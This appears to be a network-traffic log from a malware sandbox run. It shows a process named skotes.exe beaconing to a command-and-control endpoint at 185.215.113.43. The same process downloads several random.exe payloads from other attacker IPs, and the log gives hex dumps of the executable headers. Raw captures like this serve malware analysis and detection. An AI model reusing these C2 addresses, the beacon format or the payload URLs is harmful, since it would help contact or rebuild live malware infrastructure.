Dec 9, 2024 21:09:09.655586004 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:09.655596972 CET	1236	IN	Data Raw: 01 e7 83 c7 1c eb 6b 66 66 66 2e 0f 1f 84 00 00 00 00 00 89 f8 83 c8 0f 83 f8 17 bd 16 00 00 00 0f 43 e8 3d ff 0f 00 00 72 19 8d 45 24 50 e8 2b 87 00 00 83 c4 04 8d 58 23 83 e3 e0 89 43 fc eb 10 66 90 8d 45 01 50 e8 12 87 00 00 83 c4 04 89 c3 89 Data Ascii: kfff.C=rE$P+X#CfEP\$\|$,l$0WVS^l$t$L$D$,5\|$0\|$C}L$1tE1i[1i[i[1iL[1i[i[19u
Dec 9, 2024 21:09:09.655734062 CET	1236	IN	Data Raw: 83 7c 03 0c 00 0f 85 7a 01 00 00 b9 c0 01 00 00 23 4c 03 14 83 f9 40 0f 84 94 00 00 00 83 7c 24 04 01 89 e9 83 d9 00 0f 8c 84 00 00 00 bb 01 00 00 00 eb 36 66 66 2e 0f 1f 84 00 00 00 00 00 0f b6 c0 8b 11 50 ff 52 0c 83 f8 ff 0f 84 14 01 00 00 89 Data Ascii: \|z#L@\|$6ff.PR9}4T$@@L8D@Q :tQ0~MI j)D$@@D$1\$@L8jt$Vt$LP$11$\|\|$\|p
Dec 9, 2024 21:09:09.655922890 CET	896	IN	Data Raw: 8b 4c 06 38 85 c9 74 05 8b 01 ff 50 08 8b 4c 24 1c 31 e1 e8 12 7e 00 00 89 f0 83 c4 20 5e 5f 5b c2 04 00 a8 02 b9 cb 05 43 00 ba b5 05 43 00 0f 44 d1 a8 04 bf e0 05 43 00 0f 44 fa 89 e3 6a 01 53 e8 95 16 00 00 83 c4 08 8d 74 24 08 89 f1 53 57 e8 Data Ascii: L8tPL$1~ ^_[CCDCDjSt$SWhHCV4UWVu}iC1Ehmd5TwC(EUjh`ChIh`CjhBWVh5TwCMQj@hIh`CuM
Dec 9, 2024 21:09:09.655936003 CET	1236	IN	Data Raw: 5b 31 f7 89 c3 83 e3 fc 83 e0 03 31 f6 83 f8 01 74 1c 83 f8 02 74 0d 83 f8 03 75 20 0f be 74 1a 02 c1 e6 10 0f be 44 1a 01 c1 e0 08 31 c6 0f be 04 1a 31 f0 69 c0 95 e9 d1 5b 31 c7 8b 44 24 08 83 f8 10 8d 5c 24 20 8b 74 24 0c 72 2f 8d 50 01 81 fa Data Ascii: [11ttu tD11i[1D$\$ t$r/PrA) T$$RQy1i[1TWL$FD$F$UyW>CD$$4$t$L$81y
Dec 9, 2024 21:09:09.655953884 CET	1236	IN	Data Raw: f3 00 00 83 c4 18 89 c6 8b 4c 24 04 31 e1 e8 c3 75 00 00 89 f0 83 c4 08 5e 5f 5b c3 cc cc cc cc cc cc cc cc cc cc cc 55 53 57 56 83 ec 38 8b 74 24 4c a1 00 69 43 00 31 e0 89 44 24 34 ff 74 24 50 e8 91 65 01 00 83 c4 04 89 f2 8b 0e 89 4c 24 04 8b Data Ascii: L$1u^_[USWV8t$LiC1D$4t$PeL$ql2 \2$19\|$L$)\$EL$ET$L78tPD$p\|7tD$L7<t9tp\|7D70HL$
Dec 9, 2024 21:09:09.655973911 CET	448	IN	Data Raw: 0f 10 4c 24 24 f2 0f 11 4c 24 04 f2 0f 11 44 24 14 89 54 24 10 89 4c 24 0c 8d 4c 24 1c 89 0c 24 89 f9 ff 50 14 0f b6 3c 24 c1 e7 02 8b 16 8b 4a 04 8b 44 0e 0c 31 d2 83 7c 0e 38 00 0f 94 c2 c1 e2 02 83 e0 17 09 f8 09 d0 89 44 0e 0c 23 44 0e 10 75 Data Ascii: L$$L$D$T$L$L$$P<$JD1\|8D#Du8u`@L8tPL$1p ^_[CCDCDjSt$SWehHCVhwCUSWV\|$$iC
Dec 9, 2024 21:09:09.656171083 CET	1236	IN	Data Raw: c4 10 5e 5f 5b 5d c3 e8 27 02 00 00 cc cc cc cc cc cc cc 53 57 56 83 ec 20 89 ce a1 00 69 43 00 31 e0 89 44 24 1c 8b 01 8b 40 04 8b 7c 01 38 85 ff 0f 84 87 00 00 00 8b 07 89 f9 ff 50 04 8b 06 8b 40 04 83 7c 06 0c 00 75 52 8b 4c 06 3c 85 c9 74 15 Data Ascii: ^_[]'SWV iC1D$@\|8P@\|uRL<t9t@\|u5P4IT\|8D#Du6uW@L8tPL$1yn ^_[CCDCDjS
Dec 9, 2024 21:09:09.656182051 CET	1236	IN	Data Raw: b7 06 57 50 e8 50 a4 00 00 83 c4 08 66 89 06 83 c6 02 39 de 75 e9 89 de 89 f0 5e 5f 5b c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 0f b7 44 24 04 83 c1 08 51 50 e8 1b a4 00 00 83 c4 08 c2 04 00 cc cc cc cc cc cc cc cc cc cc cc 55 53 57 Data Ascii: WPPf9u^_[D$QPUSWVt$(iC1D$;t$,tbl$0\$DfMF;t$,t<D$D$D$WD$PjD$PSfxL$t$,L$1i^_[]V
Dec 9, 2024 21:09:09.775032997 CET	1236	IN	Data Raw: b9 00 00 83 c4 08 c7 06 58 b6 42 00 89 f0 5e c2 04 00 cc cc cc cc cc cc cc cc cc c7 01 08 b3 42 00 83 c1 04 51 e8 1b ba 00 00 83 c4 04 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 89 ce 83 7c 24 08 Data Ascii: XB^BQV\|$tVd^"CUSWVPt$D$uJWFFj dFFBB@P<lWWFP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49868	185.215.113.43	80	5156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:13.726845026 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013509001&unit=246122658369
Dec 9, 2024 21:09:15.076961994 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:09:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49874	31.41.244.11	80	5156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:15.297434092 CET	62	OUT	GET /files/unique2/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 9, 2024 21:09:16.795213938 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:09:16 GMT Content-Type: application/octet-stream Content-Length: 1966080 Last-Modified: Mon, 09 Dec 2024 17:50:43 GMT Connection: keep-alive ETag: "67572df3-1e0000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 21 4a f8 9d 40 24 ab 9d 40 24 ab 9d 40 24 ab 83 12 a0 ab 81 40 24 ab 83 12 b1 ab 89 40 24 ab 83 12 a7 ab c5 40 24 ab ba 86 5f ab 94 40 24 ab 9d 40 25 ab f6 40 24 ab 83 12 ae ab 9c 40 24 ab 83 12 b0 ab 9c 40 24 ab 83 12 b5 ab 9c 40 24 ab 52 69 63 68 9d 40 24 ab 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0c de dd 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 b0 01 00 00 00 00 00 00 50 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 86 00 00 04 00 00 68 c0 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$!J@$@$@$@$@$@$_@$@%@$@$@$@$Rich@$PELdP@hZBn@h!0 @T@.rsrch!@d@.idata B@ @) B@klrfnhju`k@auusyycz@@.taggant0P"@
Dec 9, 2024 21:09:16.795227051 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:16.795988083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:16.796077013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:16.796087980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:16.796108961 CET	672	IN	Data Raw: 71 91 75 be 12 71 25 79 29 ec 90 b2 01 33 79 23 1a 10 da 0b 97 b7 31 b3 6f 6d 0f f2 cb 5f 0d 42 58 3c f5 1e d5 8d ad e7 c7 b9 db 03 9a 9e 03 d2 ef f1 2c 58 cb 48 20 1e df 03 98 24 aa ac 81 35 81 5f 67 d5 2b 25 a5 f9 6f 59 3b e3 d5 b3 dc d6 7b df Data Ascii: quq%y)3y#1om_BX<,XH $5_g+%oY;{8]KZvI!QU](aEG:!?,(Wm-0+,H[\|6FnK.Sf[}m#-:oTb7L\|x/~E(bw.UF\|Ct
Dec 9, 2024 21:09:16.796123981 CET	1236	IN	Data Raw: ad 17 89 05 bd 8f ba d0 aa a7 f6 49 85 cb 50 62 ff 4f bc 09 29 25 ed 46 98 9e d9 db af 71 a0 2f a7 56 8c 7b ad 4a a5 42 37 6c 8d 5f 6f 36 3a 81 68 49 fc 59 37 e3 ef 4d 63 46 54 79 68 d3 bd b2 88 36 aa 35 23 7d c4 b2 fb 70 32 53 38 4a f6 b6 7a 5a Data Ascii: IPbO)%Fq/V{JB7l_o6:hIY7McFTyh65#}p2S8JzZGNX10zo6[N-n@~nCM=H-]cf`jiFo"$,zb#q!fa7fU1?V'?K/'$~ k2GuJ%zN
Dec 9, 2024 21:09:16.796134949 CET	1236	IN	Data Raw: 5a 07 99 48 90 b7 8a 79 74 59 8d 85 76 1e 02 aa ba 2d 8e fd 80 db 07 aa 0f a7 9d d2 2d f3 9d f1 71 77 a2 61 9c 0e 7e d0 0b 3a b9 45 e6 37 af cf c3 2e 6a cc 7b 84 75 57 34 98 2f 06 a2 67 1c 4d c2 66 28 38 b2 d3 24 7c ef 5c a6 38 34 97 b4 43 78 f4 Data Ascii: ZHytYv--qwa~:E7.j{uW4/gMf(8$\|\84Cx77aYkagmQGRvig{{.57,l/)X/quaV{8w[XWgJ&!<6`ft
Dec 9, 2024 21:09:16.796153069 CET	1236	IN	Data Raw: ce 72 6c d5 9e f8 17 d1 27 be a4 21 f0 0f 89 df 55 36 ca c6 8d 75 cc 1d 8c 5a 69 43 d2 9e a2 01 e9 4b cc 8e 70 b3 25 65 a2 aa cb 6a 64 4a 95 07 3c e0 42 b2 99 14 f9 21 b3 9d 95 6a 4e 26 fb cd 5a 66 e7 b9 88 09 8d 8f 1c 2e 3f 4e 1c 57 a9 48 af c6 Data Ascii: rl'!U6uZiCKp%ejdJ<B!jN&Zf.?NWHf>7>:qfQm{O!s2=8^$9x9) t:Y{+E5]'?^$\|Nzyaf?uq
Dec 9, 2024 21:09:16.796174049 CET	1236	IN	Data Raw: 64 4e d6 9d 43 90 bf b5 3f 19 ad 3b c0 b4 5a 66 97 ea 98 9f aa ac a5 71 b0 ca 95 55 ab 6d 21 83 6a 57 25 f0 e1 a4 57 f3 ac e8 ca 5d 22 77 43 c2 c0 fd 64 c9 cd 8b aa bd 4c 53 c6 35 5c 65 3d 66 4c 4f 69 e4 18 3f 31 4d 43 97 d5 7c a8 59 8d 71 80 76 Data Ascii: dNC?;ZfqUm!jW%W]"wCdLS5\e=fLOi?1MC\|Yqv2uwpr'vQrbcwLkNkhVK!MN-PB]2zi2nhT\l=Fn%*u5 -2ze/O ,IJN2k&7I~U;_s
Dec 9, 2024 21:09:16.902034044 CET	1236	IN	Data Raw: 8c 2c ab e3 3e 43 e7 08 9e 3f 02 7e cc aa 7b a3 a0 e8 06 02 45 10 e2 9c da af 1a e0 eb 39 90 96 72 03 b1 1f 71 4e e5 d5 a4 a9 90 95 1d 43 ac 84 71 45 e7 ab 59 a0 6e 40 c4 47 d8 41 6a 09 03 22 b0 9c 5a 58 d7 ff df 54 0b e9 56 b6 1a ef b3 40 5f 0f Data Ascii: ,>C?~{E9rqNCqEYn@GAj"ZXTV@_]Q5$>]$1BOP8Vw7<]F286IX2G$8t+y_,&17LkXagMbu3Cu\L\|%]`GOm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49892	185.215.113.43	80	5156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:22.736102104 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013510001&unit=246122658369
Dec 9, 2024 21:09:23.795254946 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:09:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49898	185.215.113.16	80	5156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:23.919569969 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 9, 2024 21:09:25.259911060 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:09:24 GMT Content-Type: application/octet-stream Content-Length: 1858560 Last-Modified: Mon, 09 Dec 2024 20:05:43 GMT Connection: keep-alive ETag: "67574d97-1c5c00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 ea b9 55 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 b2 00 00 00 00 00 00 00 40 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 49 00 00 04 00 00 9b 7b 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 40 05 00 70 00 00 00 00 30 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELUg@I@pI{@\@p0A B@.rsrc0R@.idata @V@ *PX@hkjfghfgP/Z@gtwwivgb0I6@.taggant0@I":@
Dec 9, 2024 21:09:25.260020018 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:25.260042906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:25.260054111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:25.260220051 CET	1236	IN	Data Raw: a0 8b 38 29 0e b4 81 0f 4f 81 11 0c fc ee 81 ca e7 13 d8 a2 40 7b b3 37 90 84 35 c3 b4 ac 00 89 76 26 e1 1e 70 39 92 c0 46 bb 60 75 3b 8a 3a ca b1 1b 7f c3 f8 fb bb 03 8b ff b6 91 5d 3f 98 e0 b7 af b2 f2 27 b4 7c c5 0e f8 97 ee 09 e3 08 c1 cf 32 Data Ascii: 8)O@{75v&p9F`u;:]?'\|2&HA/MPOi;*.o)'@EW5C>UZ(NZ,'lnHkBk+q<5g>icK=^3#U+O?G
Dec 9, 2024 21:09:25.260294914 CET	1236	IN	Data Raw: d2 57 b6 22 5e 55 e0 6c f1 82 89 fa ba fb 87 5e 04 39 09 ce 83 f3 89 9c 17 c0 35 81 ce eb b4 5f 91 02 88 9a 56 ad 19 d6 0c b2 07 ec b0 a4 16 71 43 20 a4 8e 37 9d f2 67 4c ea 4f 3e c5 ac c1 37 67 c0 f1 8a 39 c9 65 20 dd 1a 20 19 8f 3c 0c b3 11 c9 Data Ascii: W"^Ul^95_VqC 7gLO>7g9e <G`^!RhCN>`37+5R6e>=E-vax@?t\$"5f#n&WH:!K56pK_e2`JQ5HoMnu#322i:~y.2wz3xs
Dec 9, 2024 21:09:25.260307074 CET	1236	IN	Data Raw: 8d d7 f1 fe e9 ba 72 a4 84 64 7a cf e3 3e bb f0 67 d5 79 a6 d2 f5 fa c6 81 1a 60 6d b2 a6 20 e0 bc d3 ae 32 8b 87 f3 8a df c4 ff 64 f3 fb 07 fc 7f 99 b2 2e 79 43 bf 40 6b 08 86 85 b9 8c b3 26 91 09 73 29 80 7b ca 28 95 33 b0 d7 81 03 db 31 ff 39 Data Ascii: rdz>gy`m 2d.yC@k&s){(319(u({.s{up)YTFvlYB?S_J?D8YZX:!5^J~H~G!@{J1Dwpb6fX;ri6(uC<}2BtxY~{(
Dec 9, 2024 21:09:25.260514021 CET	1236	IN	Data Raw: 99 de 7b da 7d 9c 39 c1 3f c6 dc d1 29 c7 41 c9 29 47 5b fd 2d 3f ee 01 df 3b 4e c7 07 96 d0 96 f7 29 9f 9e 65 d2 ca 9b 4c bd 3c 9d 87 d9 3e 49 2b be 07 13 d9 c4 8e 9f 21 1b e4 f3 d1 f2 23 f3 2e 72 dc ff 30 85 4e 88 5e f9 24 df ef 82 a2 39 8e e9 Data Ascii: {}9?)A)G[-?;N)eL<>I+!#.r0N^$9MzLwJr3Vi!C1wmNE#5'kB;AE:V_H>6O^gs<>\p0H\|_cNAPn^00I1pUC@P4
Dec 9, 2024 21:09:25.260525942 CET	1236	IN	Data Raw: 22 7b 96 3e 0c c8 61 96 92 b4 84 61 ab 27 fb b2 0f fa 11 73 f3 ff da 1e bc 3b 08 02 c2 33 f3 82 3b 2e db d6 22 75 42 d7 bd 64 ca 05 b9 ac b6 3c 80 5f ba 14 24 6f 0e 3c 51 b0 73 61 86 a9 99 63 36 e1 db a4 be c9 44 05 53 71 13 cf 0e a0 45 b8 e5 98 Data Ascii: "{>aa's;3;."uBd<_$o<Qsac6DSqEy46CVE+Q9QZrit{CKCvFv%z+?;7i)TgmH)^\W.4<}w)(t{_H_9Pm'Hcq.s.:EDzz;.
Dec 9, 2024 21:09:25.260544062 CET	1116	IN	Data Raw: 99 af 74 ad 9d 52 45 ff 72 f2 42 16 b2 82 2d 1d 81 24 d9 ae 22 90 79 e9 3f 20 6e e6 31 66 4c 93 e2 af 54 19 c3 02 95 a6 22 8e 77 0b 40 c5 29 ba 9a 3f de 4f b0 39 59 16 40 84 f7 33 b0 17 83 6e 99 21 3d cd bb ce 2c eb 7e 57 d3 d6 6b c3 b6 b1 97 52 Data Ascii: tRErB-$"y? n1fLT"w@)?O9Y@3n!=,~WkRRcSg%f::b//^)/.#uV0)'@?K/mQl?8rYz6{y1H [8.GcCZPvj2^BVMnQ@&rTq2<h4\;uHD
Dec 9, 2024 21:09:25.379548073 CET	1236	IN	Data Raw: 03 32 54 c8 60 55 34 2e 62 45 77 fa 57 62 84 eb 86 dd 1d de d7 36 db ea 9a e6 07 b6 32 8a b8 4b a9 a0 eb 8f 34 3d 30 44 71 40 e3 c4 fa 49 44 bd cd f2 0e 31 e1 96 9d 0c cd 88 93 f2 7e 8b 39 49 62 c3 dc 40 8f 23 e9 f4 6a d3 c3 cd 57 6b 89 00 e1 92 Data Ascii: 2T`U4.bEwWb62K4=0Dq@ID1~9Ib@#jWk}2C@)yo9]1"d1zvK8rp{LE&Y(D>I6{_+'pq6RIy%6e>>k'~DA9ZIBE mgO%C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49916	185.215.113.43	80	5156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:31.235374928 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 31 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013511001&unit=246122658369
Dec 9, 2024 21:09:32.579668999 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:09:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49923	185.215.113.16	80	5156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:32.703397036 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 9, 2024 21:09:34.035660982 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:09:33 GMT Content-Type: application/octet-stream Content-Length: 1831936 Last-Modified: Mon, 09 Dec 2024 20:05:50 GMT Connection: keep-alive ETag: "67574d9e-1bf400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 df 71 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(0j@`jq@M$a$$ $h@.rsrc$x@.idata $z@ +$\|@jkfvjajpPOP~@yofpcxnn j@.taggant00j"@
Dec 9, 2024 21:09:34.035789013 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:34.036247969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:34.036258936 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:34.036268950 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:34.037116051 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
